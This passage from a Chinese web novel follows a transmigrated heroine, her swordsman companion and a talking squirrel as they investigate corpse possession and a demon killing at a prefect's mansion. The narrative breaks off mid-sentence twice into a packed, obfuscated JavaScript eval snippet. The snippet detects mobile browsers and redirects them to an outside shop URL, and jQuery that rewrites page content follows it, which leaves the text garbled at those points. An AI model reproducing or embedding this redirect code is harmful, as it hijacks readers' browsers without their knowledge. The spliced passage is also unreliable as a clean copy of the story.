“我早就想问了,为什么你的长吟啥也没有?看着好不舒服。”惊春将那彩缨塞到他手里,“呐,送给你的。不对,送给长吟的,感谢它救过我好几次。” “这些虚头巴脑的,谁稀罕?” 他虽面露嫌弃,意味索然,一边说着一边将彩缨捏成球,但也没扔。 25. 松鼠与金陵(五) 【宿主,我现在怀疑……】 系统的话音未落,谢惊春就被人猛地撞了一下,撞得她手臂有些酸痛。 松鼠敏捷地跳了下来。 “啊!对不起,对不起!” “没事没事。”谢惊春揉了揉被撞的地方,看着面前女孩诚恳急迫的道歉,连忙摆了摆手。 只是感觉声音好像有些熟悉。 “姑娘,实在对不起,我家小姐昨夜被妖怪吓着了,到现在都昏迷不醒,我急着去抓药,才会这般莽撞。” 镜儿说得极快,连声道了几次歉后,立马奔向药铺。 在听到妖怪这个字眼的时候,谢惊春本能地想要抓住她的手,问得更细致些。 可想到对方是急着救人命去的,连忙缩回了手。 谢惊春准备追上前面的路植晏,想告诉他,转身却撞入一个温暖的怀抱。 “走,跟上去看看。”少年不知何时关注到身后百米远发生的事,自然而然地拽起惊春的手,刻意压低的声音透着沉闷和与年纪不太相符的磁性。 被遗忘的黄毛又不敢喊出人声,只能嗷嗷叫着,疯狂飞奔跟上他们。 “又是刺史府。” 谢惊春低头看着依旧被攥着的手,又抬头看了看路植晏。 他眉头微蹙,表情严肃,身姿挺拔。 是不是自己心理戏太多了?少女白皙的脸上染上薄红,所幸在晨光的照耀下不是特别明显。 为自己不适宜的自恋感到羞耻。 她不着痕迹地松开手。 定睛一看,一手汗。 路植晏:“……” 谢惊春心虚地抬头:“我就看到你身上有灰,给你拍拍。” 其实也就是在你身上擦个汗,而已。 路植晏以其人之道还治其人之身:“你身上也有灰。” 说罢,也在她身上擦了擦。 “你们两个都不等我!”黄毛嗔怪,想要蹦上谢惊春的肩头,却被她一个侧身躲过。 黄毛不可置信:“春春,这是何意?” 谢惊春支支吾吾:“你……脚太脏了。” 小松鼠低头看了看自己黢黑的脚丫子,顿时欲哭无泪:“好样的,春春,用你的话来说,你是个渣女!” 小松鼠喜欢听故事,一开始为了哄它变得毛茸茸的模样,经常给它讲小说中渣男渣女之间的爱恨情仇。 不想如今被它用在自己上。 谢惊春百口莫辩,她只是稍微爱点干净而已。 “怎么样?引起他们的注意了吗?”宋如遇声如游丝。 镜儿点点头,给她倒了杯茶,小小的脑袋里是大大的疑惑:“小姐,你认识他们?” “他们两个是捉妖师。”宋如遇说完这句话后意识到自己在答非所问,“认识。” 镜儿更加茫然不解,不说近几年的小姐几乎是大门不出,二门不迈,就算是一个月之前还没病的小姐,自己也是时常陪在身侧,从未见过她和江湖儿相识。 宋如遇皱着眉头绞帕,心绪不宁,隐隐带着急躁和恐惧。 突然,她浑身一抖,双目微瞪之后慌忙闭上眼睛,她深吸一口气,伏在桌子上,肩膀轻颤。 “小姐?”镜儿俯身焦急地问,“你怎么了小姐?要不要将大人请过来?” 没有回应。 良久,宋如遇陡然起身,慌张的情绪褪去,像是下定了某种决定,又像是突然之间换了个芯子,双目沉静如冰,甚至带着丝丝凛冽,仿若风过雪山,她的睫毛轻颤。 “镜儿,把张正叫来。” *** 回到客栈,谢惊春叫了盆水,帮松鼠洗脚。 总得哄着,还想撸鼠呢。 “路兄,惊春姑娘,不好了!” 赵无悲着急忙慌地冲进房间,赶紧关上门,坐下来连喝了两杯水才长呼出一口气。 “何事?”待他稳定下来,路植晏才问。 “我师父刚才被派去刺史府查案,从他们的谈话中,我隐约听到又有人死了。” 赵无悲接着说道:“这次的死者,是刺史府的门下。” 谢惊春随便给松鼠擦了几下,不安地问:“有尸体吗?” “没有,又或许是没有找到。” 一阵狂风猛地将窗户吹开,老旧的窗棂发出尖锐的哀叫,伴随着天边一道惊雷落下,空气中送来几分不合时节的寒意。 谢惊春和松鼠抱在一起,忍不住打了个哆嗦。 路植晏也不禁蹙紧眉头,发间的方孔钱落在耳后,沉凝泠然。 妖力? 现如今已经有八人死不见尸,如若不快些查出真相,揪出背后的人或妖,只会让更多无辜的人成为牺牲品。 “赵无悲,你师父现在还在刺史府?” “肯定在,今晚他会住在刺史府。本来我也是要去的,但是师父说太危险,偏生不让,将我赶回来了。” 路植晏反手摸了摸长吟剑柄,促声道:“看来,我们现在就得去刺史府。” 谢惊春:“那我呢?” 路植晏一哂:“你若想留便留下,至于生死,我说过,我保护不……” “打住,我铁定跟死你们。”谢惊春才不会独自一人,恐怖片最先死的都是落单的,她才不至于傻到步这些人的后尘。 而且系统方才和她说了,今日在刺史府门口,它更加确定,另一个穿书人就在府内。 她从斜挎包里随便掏出几样东西,为了把松鼠塞进去。 可她掏到底部,却触摸到一个怎么都不像法器的东西。 《大少爷的奇遇手札》…… 怎么顺手把这玩意带过来了? 看他们已经整装待发,谢惊春也不好拖后腿,随便把松鼠按下去,就跟着赵无悲来到了太守府。 夜色吞噬,伴随着乌鸦凄厉的鸣叫,几片鸦羽自半空中洒落。 即使没有光亮,也能感受到天空四处游走漂浮的是沉闷的乌云,之前还有几分燥热的空气此时透着阴森。 赵无悲一边走一边说道:“这个老阍者叫张正,戊子年生人,五十二岁,在刺史府待了将近十五年,所有下人中唯他最大,此人无妻无子,最后一个见到他的人是府内的一个丫鬟。” 他们走得极快,谢惊春只能小跑着跟上。 笨朱门缓缓开启,如一个耄耋老人发出沉重的喘息,几条白绫随风起落,在黑夜里宛若有人在舞袖,点点昏光于廊下摇曳,不防随时会掉下来,熄灭。 领路的老侍从见过赵无悲,象征意义地问上几句,便提着宫灯,引着几人来到后院。 “三位,前面便是齐大人今夜留宿的房间。太守有事不在府中,还请各位自便。” 赵无悲摆摆手:“烦请替我们多谢刺史,你不必带我们过去了,我自会拜请师父。” 侍从也不做弯,步履急促地退了下去,生怕于后院多停留一秒。 谢惊春对于他们进来的这么迅速表示疑惑:“我还以为能见到刺史呢?刺史夫人刚刚出殡,大人就要出府吗?” 赵无悲道:“宋刺史如今心情难平,接二连三的晦事让他忙得脚不沾地,不会有闲工夫见捉妖司的小喽啰。” 话音刚落,刚刚的老侍从突然又跑了过来,神色惶然:“另需告知几位,西院,切不可踏足。” 路植晏上前走了几步:“为何?” “我们小姐住在西院,极怕生人。” 侍从弓腰垂头,右面隐在黑暗中,左面被手中宫灯照得通亮。 他的脸很白,眼下面颊处长了一大块青紫的胎记,旁边还围绕着几颗细小的黑痣。 昏暗的宫灯垂在他的脚面上,时不时发出轻微的“嗤啦”声,似乎快要燃尽了,地上的影子随着暗到毫无生气的光明明灭灭。 谢惊春站在二人身后的中间,双手紧扣住包带,静静地看着侍从。 刚才,是这个人吗? 突然,她瞳孔一震。 侍从也在此时抬眼,霎时撞上谢惊春惶骇的目光。 他半敛眼皮,看向她紧张到冒汗的手,露出一抹诡异的笑。 “没其他的事,老奴就先退下了。” 他嘴角肌肉微微延伸,恭恭敬敬地弯下本就佝偻的身材,整张脸几乎要贴到鞋面上。 走廊弯弯绕绕,在黑夜中一眼望过去似乎望不到头,那深如黑潭的前方总让人觉得涌动着危险,仿佛一旦走进去就会被吞噬,再也出不来。 谢惊春扯了扯路植晏的衣袖,在侍从转身后,疯狂地朝地上眨眼。 他没有影子! 可是,当路植晏顺着她的视线往下时,看到的却是黑黢黢的影子随着宫灯抖动。。 谢惊春瞬间呆住了。 不可能!她不可能看花眼! 侍从佝偻的身材在手中宫灯灭下去的那一刻,瞬间与黑夜融为一体,只能隐约看到一个身影,步伐顿滞地前进。 还有刚才他莫名其妙看着她的手,竟露出一抹诡异的笑。 谢惊春摇了摇他们的衣肘,指着马上就要走远的老人。 赵无悲一脸茫然。 谢惊春急得拍了拍自己,又指着地面,压抑着声带:“我刚刚真的看见他没有影子……” 可是,似乎只有她一人注意到那可怖的画面。 下一刻,寂静的长廊中,路植晏的声音蓦然响起:“等等。” 他的声音不疾不徐,冷静中带着威慑,像是一柄利剑穿透整个长廊。 那道身影顿住,随后缓缓回过头。 天雷轰隆,电光顺势劈下,漆红廊柱在雷惊电绕之下如昙花一现。 而那张脸在疾光中闪了几下,但在转过脸的一刹那,却能真切地看到,他的脸上,布满了密密麻麻的印记,眼眶深陷。 “这位小官爷,还有什么事?” 他的声音沧桑,暗哑,断断续续,喉咙像是裹了一层粗粝的沙石。 谢惊春和赵无悲登时倒吸一口凉气,双双退了半步。 “没有宫灯,我们,走不了啊。”路植晏摊开手,微微一笑。 老人点点头,嘴角肌肉再次机械地抽动:“是啊,老奴忘了,老奴这便去取。” 路植晏快步上前,弯腰扶上侍从的肩膀,低声说道:“多谢,我们和你一起去。” “还请自便。”老人的冷笑声自僵硬的喉咙挤出,乱绕一圈,又从黑黝黝的眼眶中飘出,听起来毛骨悚然。 谢惊春心中是一万个拒绝,但是相比之下,与其一个人孤零零地等着,不如路植晏和赵无悲身边来得安全。 特别是路植 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老人的目光没有从谢惊春身上收回,而是急迫地想要吐出那个字。 路植晏挪步,面色泛寒,悄然中断这瘆人的视线。 带着湿气的轰隆雷声而下,老人的嘴唇微启。 与此同时,谢惊春呼吸一滞,如遭雷劈。 身上所有的毛孔疯狂叫嚣,几乎要牵扯着她离开原地! 肉! 她呆呆地学着老人唇上动作,嘴里跳出一个字:“肉。” “他说,肉。” 众人骇然。 老人乌得发紫的嘴唇扯了扯,脸上的苍老的皮也随之拉伸,挤出无数纹路,随后长呼了一口气:“它走了。” 一句让人匪夷所思的话。 而谢惊春脸色苍白如纸,鬓发被廊外飞进的雨丝打湿,她撑开布包,慌乱说道:“松鼠,不见了。” 一直躲在她包中的小松鼠,不见了。 本能勉强安定的心,此刻全部都焦躁不安起来。 隔着雨帘,不禁让人觉得这偌大的太守府似乎藏着,庞大的黑暗。 赵无悲实在是被这样的气氛弄得忍无可忍,恨不得一把拽过老仆从的衣领,厉声:“你到底想说什么?!” 吓人的脸赫然近在眼前,他眼底闪过一丝惊讶,脸色微变。 那块青紫胎记在雨夜中如同礁石,刹那间,赵无悲认定一件事:这不是胎记,而是,尸斑。 “他不是……” 赵无悲大声喊道,却看到路植晏食指抵着唇瓣,示意他别说出来。 路植晏问:“你是谁?” 老人慢慢答道:“我是张正……” 刚刚才听到你的死亡讯息,你却又站在这儿,谢惊春恨不得两眼一翻,当场去世。 老人的嘴继续一张一合:“你们不要去西院,西院有……” 他口齿不清,每一句话每一个字都要让人分辨很久,话说到一半,他忽然停了,整个人开始疯狂颤抖:“呜啊啊……是她,一定是她,是她回来了!她回来了!” 路植晏抓住他的肩膀:“谁?谁回来了?” 老侍从死死盯着西院的方向,瞪得如铜铃般的双眼几乎要从深陷的眼眶中跳出来:“我知道了,小姐被她附身,被她附身了!” 胡乱说完,他一扔宫灯,磕磕绊绊地就要往府外跑。 突然,路植晏快速抽出符箓,打出一个脆生生的响指。 橙黄火光骤起,空气中突然散发着一股烧焦的尸腐味,像是毫无准备地打开停放了十几日的棺材,作呕的味道从鼻尖直冲脑门。 老侍从凹下去的眼睛睁得老大,火光灭尽,如残风卷落叶般晕倒在地,面上却带着一种诡异的祥和与放松。 “借尸还魂……”路植晏蹲下身,拉住地上人的衣领,在他耳边喝道,“此时不起,更待何时?!” “路兄,你……” “他被张正借尸还魂,再不烧魂,他也会没命。” “我不是走了吗?怎么又回来了?”地上人一醒,发现自己又回到了廊中,当即吓得面色全白,也不顾面前三人,便跌跌撞撞往大门口逃离,鞋子都跑掉了。 26. 松鼠与金陵(六) 西院。 “妖妖妖,我怎么就没见过什么妖?” 院中槐树飒飒,镜儿提着小灯,打着哈欠,自言自语:“我道是大人得罪了什么人,被人做了大圈套,害得少爷身死,又将矛头转到虚无缥缈的妖怪身上。” 自己一顿瞎琢磨后,镜儿终于想起自己出来是干什么的。 “小黑——” 宋如遇刚刚睡下,小黑猫就溜了出去,镜儿怕小姐半夜醒来没见着小黑会睡不着,便出来寻。 灌木丛中窸窸窣窣,镜儿撑着伞,小心翼翼地提灯而下。 “小黑?” 灯下小小的光晕随着她的动作一顿一顿, 雨水打在油纸伞上啪嗒啪嗒,镜儿歪着头:“难道听错了?” 她正欲离去,却又听见那若有若无的怪音,而且越听越不对劲,不像是有什么东西在丛中走动,反而像是喘息声。 一轻一重,如猛虎狩猎。 镜儿慢慢回过头去,将纸伞打得低低的,紧挨着头顶,她的呼吸逐渐随着越来越大的怪声,断断续续了起来。 伞靠得太前,遮住了大半视线,雨水顺着伞边而下,她的后背瞬间被溽湿了一片。 她慢慢俯下身,指尖即将触及草尖,她咽了咽口水。 夜雨依旧倾注不停。 心跳如擂。 窸窸窣窣的声音越来越大,越来越大,似乎下一刻就会有洪水猛兽从丛中扑面而来! “喵——” 短促的猫叫拉过雨幕,小黑猛地扑进她怀里,尖细竖瞳近乎贴脸,镜儿吓得跌坐在泥泞里。 伞柄脱手,雨水便肆无忌惮地砸在镜儿身上。 等她反应过来,浑身已经湿透,手中全是脏污。 “小黑?你怎么跑这儿来了?吓死我了!” 黑猫的身子瑟瑟发抖,腹中发出低沉的打战声。 不过找到了就好,她松了一口气,站起身,正准备捡伞,却忽地看见不远处有团黑黑的东西。 在黑夜里,它一动不动。 镜儿呆呆看着一会。 而后,她避开视线,慌忙抱着小黑就要往屋里走。 然而,就在她身后,那团黑色东西忽地动了一下,它身上的点白也逐渐显现。 …… 路植晏拾起宫灯,扔了一张火符进去,周遭一亮。 他将宫灯递给谢惊春,忽听到一声尖叫。 “啊————” 尖叫声划破长空,仿佛要将潮湿而又暗沉欲坠的苍穹生生撕出一道口子,在嘈杂的雨声中都听得真切。 宋如遇拎裙拼命奔跑,一路跑一路回头看,鬓发散乱,冷汗直下,脸上尽是悚然之色,像是被什么恐怖的怪物追赶。 可是几人看过去,她的身后什么也没有。 空空荡荡,一如来时。 路植晏此刻站在谢惊春身前,眼见着宋如遇就要冲进他的怀里,他突然侧身走开,惊春躲避不及,结结实实受了宋如遇一个满抱。 别看少女身体孱弱,弱柳扶风,蓦地像个炮弹一样发射过来,谢惊春连退好几步,差点和她双双摔倒。 “救我,求求你们,救我……”宋如遇泪盈满眶,且惊且泣,像是惊弓之鸟瑟缩着。 “姑娘别急,请细细说来到底发生了什么?”赵无悲柔声问道。 她揩了揩被吓出的泪水,深深呼出几口气又抚了抚胸口:“三位也是捉妖司的?我是刺史之女宋如遇,刚才我……” 她顿了顿,忽然想起什么:“你们快去帮帮齐司使吧,他正在西院和妖怪斡旋,不知现在……” 有妖? 别妄铃又没响。 路植晏皱起眉头。 赵无悲听到自己师父的名字,激动道:“我师父?” 说罢,二话不说就要往西院跑。 “不要去西院……西院有吃人的妖……” 刚才老人的话还萦绕在耳畔,谢惊春忽地与宋如遇对视。 那一刻,二人目光仿佛穿透对方,脑海中传来某种不约而同的共鸣。 【宿主,应当就是她。】 谢惊春睫毛一颤,没想到踏破铁鞋无觅处,得来全不费工夫,所以带着怀疑:“真的?” 【是,太近了,她一出现,我的电波就变得非常强。】 隔着路植晏和赵无悲的肩膀,两名少女互相试探的目光穿过他们耳侧,试图在对方的眼睛中找到自己想要的答案。 在她们周身漾开的却不是欣喜,而是一种莫名到近乎古怪的氛围。 应该就是她吧,谢惊春想。 她正欲抬脚—— 【等等!】 在强烈的共鸣中,系统感到一股微不可察的特别意味,说不上来,夸张点,可以说是…… 杀意。 眨眼瞬息之间,那特别意味就全然被恐惧覆盖。 “你什么意思?”谢惊春在这场对视中率先退出,她垂眸,慢慢站到路植晏身后。 可系统此时却不说话了,无论谢惊春说什么就是不与她交流。 路植晏嘴角一抽,后腰处又开始间歇性痉挛,在心中啧了一声后,他手一回掏,想把谢惊春从背后拎出来,却被一团冰凉包裹。 谢惊春这几个月虽常常练剑,虎口处磨出一点细茧,可相比于路植晏的手来说,那可跟绵柔的绸缎似的,冰凉的缎面拂过手背,他的手指曲了曲。 谢惊春双手死死摁住他的右手心,轻声说道:“等会等会,就一小会。” 路植晏愣了愣,才反应过来要抽离,但一抽竟未抽出,眼看赵无悲就要先行跑去西院,路植晏也不管了,就任由她握着,并将赵无悲拉回来:“这么急?你知道西院怎么走。” 说着,他看向宋如遇:“还请宋小姐带路。” 宋如遇将视线从谢惊春身上收回来,胆子如雀:“啊……那我带你们去了之后,你能不能将我送到前厅,并一直陪在我身边。” 她满怀希冀地看着路植晏。 赵无悲心中已是隐隐不安,信誓旦旦道:“宋小姐莫怕,我们会保护你的,师父危险,还请宋小姐尽早带路。” “好,好吧……” 路植晏刚走一步,发现自己的手还被捉着。 谢惊春一直悄咪咪注意着宋如遇,方才老侍从和系统的话一直在耳边环绕,思绪太过集中,她习惯性摩挲起手上的东西,从大拇指到小拇指,路植晏的指尖全部被她摁了个遍,她甚至还想手撕他的指甲,扣了半天扣不到东西,这才放弃。 路植晏昂着下巴,恨不得拿鼻孔看谢惊春,眼睛半阖着,眯起无语和嫌弃的弧度:“你还要抓到什么时候?” 谢惊春这才似梦初觉,立马松开:“嗯?忘记了!不好意思……” 路植晏瞥了她一眼,终究没说什么,转过头偷摸揉了揉自己的手。 哎呀真的是,给他整疼了都!要不是为了面子,真想敲她一个脑瓜闷子! “怎么一点声音都没有?”刺史府过于静谧,赵无悲连丝毫打斗声都未听见,更加觉得惶惶不安,跑得急促。 “快了快了,你们从月洞门进后右转,便是西院。”宋如遇停了下来,只给他们指了一条路,便不再向前,“我就不进去了,你们留一个人保护我可以吗?” 赵无悲已是心急如焚,这回谁也拦不住他,他早已拔步冲了出去。 谢惊春迟疑一瞬,咬咬牙:“这样,路植晏西院帮齐司使和赵公子,我陪宋姑娘一起,也好去找松鼠。” 路植晏低眉看着突然胆大起来的少女,有些意外:“谢惊春……” 她刚刚不是抱着自己的胳膊,害怕地发抖吗? 谢惊春没有丝毫犹豫,推搡着路植晏,反而自来熟似地拉起宋如遇的手腕。 系统迟迟不肯开口,谢惊春也不敢轻易暴露,万一宋如遇不是,她轻易与之交底,就算泄露系统机密,会被惩罚。 “宋姑娘,不用怕,有我在。”谢惊春都不敢相信有朝一日自己会成为保护她人的人,明明她也很害怕。 宋如遇点点头:“嗯嗯,你叫什么名字呀?我叫宋如遇。” “我叫谢惊春。” 宋如遇眼睛一亮:“客路那知岁序移,忽惊春到小桃枝,天涯海角悲凉地,记得当年全盛时。” 接着,她又摇头晃脑地背了一句诗词:“被酒莫惊春睡重,赌书消得泼茶香,当时只道是寻常。” “谢惊春,惊春,你的名字真好听,是出自这些诗词吗?” 谢惊春眼里即刻笼罩了几分幽色:“不是。” 她整个人突然散发出和平常相悖的生冷:“我的名字,不出自哪儿,没有意义。” 而且,你不对劲。 谢惊春定定地看着面前少女的嘴角逐渐降落,宋如遇似乎察觉到自己的热情被破了冷水,显得有些颓败。 当时只道是寻常,真是耳熟能详的句子,但是它是纳兰性德创作的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114840|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 明明可以确定宋如遇也是穿越者,为什么就是不与自己相认呢?难道说,她的系统这个自己的代号205一样,一边不让认一边不与宿主交流释放电波。 系统205:【可以确定就是她了。】 谢惊春憋了许久的话终于说了出来:“宋小姐,你也是穿书者吧!” “什么?啊!” “原来你就是系统一直和我说的,另一个穿书人。”宋如遇激动地捧着谢惊春的手,几乎快哭出来,“你知道吗?我是一个月前穿进来的,当时我的系统告诉我有你的存在时,我都快激动死了,想赶紧去找你,可是……” 她垂下温柔缱绻的眸子,不由懊恼:“可是我现在的身份是刺史的女儿,身体还不好,一直被关在西院,只能偶尔求着侍女带我偷偷跑出去,看看外面的风景,所以没能及时去找你。” 在这样刀光剑影,朝不保夕的世界中,能够遇到同样来自现代世界中的同龄女孩子,谢惊春心中自然也是万分庆幸。 她点点头:“我也是。对了,我叫谢惊春。我们两的名字都好巧哦,刚好和这个世界的身份同名同姓。” “这本小说你看过吗?里面提过的积玉山谢家你还记得吗?我穿成了谢家的大小姐,现在跟着另一个朋友一起除妖。” “这本小说我看过一点,但我对捉妖玄幻之类的题材不感兴趣,只是看很多人疯狂安利说是仙品,我才逼着自己看了几十章。谢家我记得,但好像描述不多,基本上都是讲述男女主在当阳的故事。” 宋如遇摇了摇头,想了半天也没想到积玉山有什么重要情节。 谢惊春也没觉得有什么:“不过当下更重要的是,我有一个伙伴,是只松鼠,宋姑娘,你能不能让你府上人帮我找一下吗?” 刚相识就求人办事,谢惊春有些不好意思,但也是没办法的办法,松鼠现在不知所踪,她总觉得不安,不如厚着脸皮求人。 可宋如遇却因此犯了难:“谢姑娘,不是我不帮你,而是我和这个世界的爹的关系,属实不好,所以在刺史府我的话没什么分量。” “不好?”谢惊春一边疑惑,一边不忘低声呼唤着松鼠的名字。 “对,他总是将我关在西院,前几日刺史夫人,这就是我这个世界的娘送棺,他都不让我出去,若不是我趁着这个机会,偷溜出去,我也不会在街上认出你。” “你前几日就认出我了?” “嗯嗯,只是没机会相识,我得赶紧回府。后来我看你旁边有捉妖司的人,就让侍女去街上与你搭讪,将你们引入太守府。” 原来白日里那个撞自己的人,是宋如遇的侍女啊。 谢惊春问:“那刺史为何关你?” “因为我这具身体素质啊,以前太差了。他总说我是他唯一的亲人,生怕我再出事。” 雨声渐歇。 谢惊春忽然转头问:“宋姑娘,你的侍女呢?” 她眸色沉沉,不是像刚才那样问得随意,这句话她反而问得异常认真,静静等着这个同是穿书人的回答。 宋如遇一怔,随后露出泫然欲泣的表情,面上害怕又紧张,哆哆嗦嗦:“我,我不知道……我方才被噩梦惊醒,想唤她,却许久都唤不来人,我就出门去寻。可我一出门就听到啃食的声音,我循声而去,就看见妖怪在,在吃人……” 她颤抖着继续道:“它发现了我,我就跑,它跑得很快,我还以为我要被吃了……还好半途遇见了齐司使……” 谢惊春骇然,下意识地拽紧了包带,强装镇定:“那宋姑娘你可看清楚是什么妖怪?” “没太看不清,我看了一眼就跑了。好像小小一团,黑黑灰灰的。”宋如遇转着眼珠子,“对了,它身上不知哪处还有点白。” 如果刺史府真有妖怪,路植晏应当会听到别妄铃响的。 谢惊春曾在渡金岭见识过别妄铃的厉害和敏感,对她这样灵魂来自现世的人都能被识别出来。 目前能对别妄铃免疫的,她只知道——松鼠黄毛以及凌阳喰妖。 最糟糕的想法开始在谢惊春脑海中盘踞不去。 就算不愿往那方面想,可是根据宋如遇的描述,松鼠那黑灰色的毛发,以及胸前一小片白色的样子总是跳出来。 “不行,宋姑娘,我得去西院看看,你一个人危险,还是随我一起吧。” 谢惊春说完,便拉着宋如遇疯狂地往西院跑去。 千万别是她想的那样,千万别是。 27. 松鼠与金陵(七) 路植晏和赵无悲步履急匆,二人刚下廊,绵绵细雨如针,扎在脸上还有些生疼。 忽然,路植晏停下了。 就在此时,别妄铃的铃心摇晃碰撞,在他耳边发出急促微小的响声。 声音太小,他必须让自己的心神平稳下来。 倏尔,他睁开眼,背上长吟即刻出鞘! 如五雷斩下,滋滋声蜿蜒,剑光飞旋,绕过赵无悲,瞬至西院墙下。 可几乎在一息之间,铃声戛然而止。 快入子时,潮湿已然渗透了脚下履,凉意从地面悄无声息地弥漫开来。 两人顺着长吟的光亮,看见一个一身红衣的人站在惨白的墙下,不远处是火色的簇簇凌霄花,如白布点血,深夜鬼灯。 长吟堪堪停在那人面前,他扶着腰间长剑,低着头,看不清神色。 “无悲。” 洪厚的声音传来,绷着神经的赵无悲终于松了一口气。 路植晏还没来得及抬手阻止,他便欣喜地冲上前:“师父!” “无悲,你怎么在这里?”齐怀金按紧腰间长剑,粗犷浓密的眉毛快飞上天去,看起来威严凛然。 “他又是谁?”他朝着路植晏的方向仰了仰下巴,问赵无悲。 齐怀金腰间长剑所系红缨如血,是实力的象征。 路植晏不经意笑了笑,拿出玉牌,手中碧色与齐怀金的官服和腰间红缨,皆是鲜艳亮丽,在黑夜中还生出几分妖冶,与他耳下红绿绳在遥遥距离中交相辉映。 他漆黑微椭的瞳孔中带着着怀疑与试探,只是声调却是清扬,语速从容道:“在下三正法司指挥使路植晏,见过齐司使。” 压抑的气氛蔓延,路植晏的目光如弦上利箭,仿佛仿佛下一刻就能破空射出,直逼人命。 而他独特的内眼角痣如玉中瑕,显得这道目箭更加狠厉。 他一瞬不瞬地盯着眼前的齐怀金。 “原来如此,没想到司正已经请了三正法司的人了。你放心,我定会好好配合。” “前辈见多识广,在下初出茅庐,当是配合您才是。” 路植晏遣词造句虽是恭敬严谨,但语气却是随意又孤傲,细细听来,没人会觉得他是言出于心。 齐怀金仰头哈哈大笑,脸上的赘肉抖动,笑声如同立体环绕,震碎水落青瓦之声。 “后生可畏。不过路小兄弟,这妖我已经杀了,你不必对我如此戒备。” 齐怀金素来对官位职称不在意,哪怕是对位份比自己高出太多的人,也只是勉强虚与委蛇片刻,之后就能当成同级相处。 可他再洒脱,也是遨游官场十余年,察言观色早已烂透于心。 特别是对于路植晏这样的小辈。 他能感觉出路植晏对自己不着痕迹的戒备以及怀疑。诚然,身为捉妖师,若是连这点子谨慎都没有,迟早会死在日益精明的妖孽手中。 赵无悲在一旁听着他们暗戳戳带着针尖的对话,实在听不下去,便挑开话题:“师父,你刚才说什么?你把妖怪杀了?” 人们都说金陵城有这么多人失踪,案子也从县衙转到捉妖司手中,来来回回查了快两个月,大家都十分坚信操纵这一切的绝对是一个难以匹敌的大妖,若能猎之,绝对可以让普通捉妖师升上一两级。 如今被齐怀金轻飘飘地摁死,实在有些让人傻眼。 齐怀金朝着自己徒弟笑着点点头,接而拍了拍路植晏的肩膀:“路小兄弟,要来看看,我的战果吗?” 路植晏长眉一抬:“烦请齐司使带路。” 齐怀金显然对这里已是熟悉,转过各种拐弯都不需要任何摸索,甚至走得越来越快。 “是个小妖,仗着几分妖法,想通过吃人快速提升道行,被我几剑削成泥了。” 他边走边说,云淡风轻,仿若刚才踩死了一只蚂蚁。 “喏,你们看。” 谢惊春气喘吁吁地跑过来时,刚好听到这句话,脑中有什么东西轰然炸开。 她一步一步地走上前,带着希冀和恐惧。 将将歇息的雷暴应景袭来,像是故意要将尸体呈现在众人面前,让他们好好看看,妖有多么可恶,妖,有多么残忍,妖就该是如此下场。 面前是一只被削成肉泥的黑猫,倒在血泊里,毛发凝结在一起,所有脏器都已经坏死,红白之物流了一地,妖气早已随着死亡消散干净。 不是松鼠。 这样血腥的场景,让谢惊春回忆起自己曾经特别喜欢喂高中学校门口的流浪猫。 她没什么零花钱,所以喂得很少,可那小狸花竟意外和她最亲。 她每回下晚自习,都是班上最后一个走的。她一出校门,小狸花就会从伸缩门的角落里跑出来,喵喵喵地叫着,蹭蹭她的脚踝。 谢惊春断断续续喂了三个月,可惜,三个月后她再也没见过那只小狸花。 又五天,她在校外不到二里地的地方,发现一只白色蛇皮袋,上面沾染了大面积的红色。 那时,心中也是像刚才那样升起悲惨的想法,每向被血浸透的蛇皮袋走近一步,那种让人窒息的预感就越强烈。 她鼓足勇气,将蛇皮袋掀开,事实砸中预感,当时的血腥场景,亦难以言状。 看着这只身首异处,四分五裂的黑猫,以及它旁边被啃食得稀巴烂,看不出人形的尸体,谢惊春突然控制不住地想呕。 作为二十一世纪“学习新思想,争做新青年”的未来花朵,哪怕穿到剑影与妖怪四处飞窜的世界,她在太象山猎过妖兽,在凌阳郡捅过喰妖,在校外看过被虐锤的狸花,却也没见过现在这般残忍,直冲灵魂的景象。 一人一猫,又或是一人一妖,就这样化成一团红肉,一滩血水。 血水被雨水冲刷,潮湿的血腥味还泛着腐烂味,都慢慢融进泥土里,被残风刮去四面八方。 谢惊春捂着嘴,拼命地忍着,她告诉自己不能矫情,不能矫情,眼尾还是因为过于用力,逐渐溢出泪花。 突然,一只并不温柔的手扣在她眼前,揶揄道:“这便难以承受,为何还不闭眼?谢大小姐。” 少女的细密的睫毛上带着点点水珠,刮过掌心,痒痒的。 齐怀金回过头,看了过来。 谢惊春被路植晏遮住眼睛,齐怀金并未看见她的脸,但视线在触及那枚如碎雪耀月的平安锁时,他的面色陡变。 因为这平安锁,他见过。 而且,印象很深。 一生都忘不掉。 名榜第一,天纵奇才谢从因。 一柄桃木剑杀穿妖祟,是世间所有捉妖师的典范。 而且,他有个奇怪的习惯,每杀一只妖,都要摸着自己的平安锁说一句:岁岁平安。 纵使是面对屠人满村的大妖。 齐怀金很佩服这样的天才,却对这种故作善良,十分不屑。 路植晏道:“齐司使是否,太过残忍?” 齐怀金回过神:“天下乌鸦一般黑,天下妖怪也无大小之分,全部都该死。无悲,你说,是也不是?” 说到该死时,他几乎是咬牙切齿,似乎在牙尖用力,就能将世上所有的妖怪都生吞活剥了。 赵无悲欲言又止,对上师父凌迟般的目光,他低下头:“是。” 齐怀金满意地点点头,而后言辞之间带着蹊跷:“妖吃人,面前就是活生生的例子,路小兄弟却如此维护,难不成是与某些妖,有着不可告人的联系?” “齐司使误会,若妖作乱行祟,自然该死,但一棒子打死,属实失之偏颇。” 正当他们暗中争论较劲之时,谢惊春拉下路植晏的手。 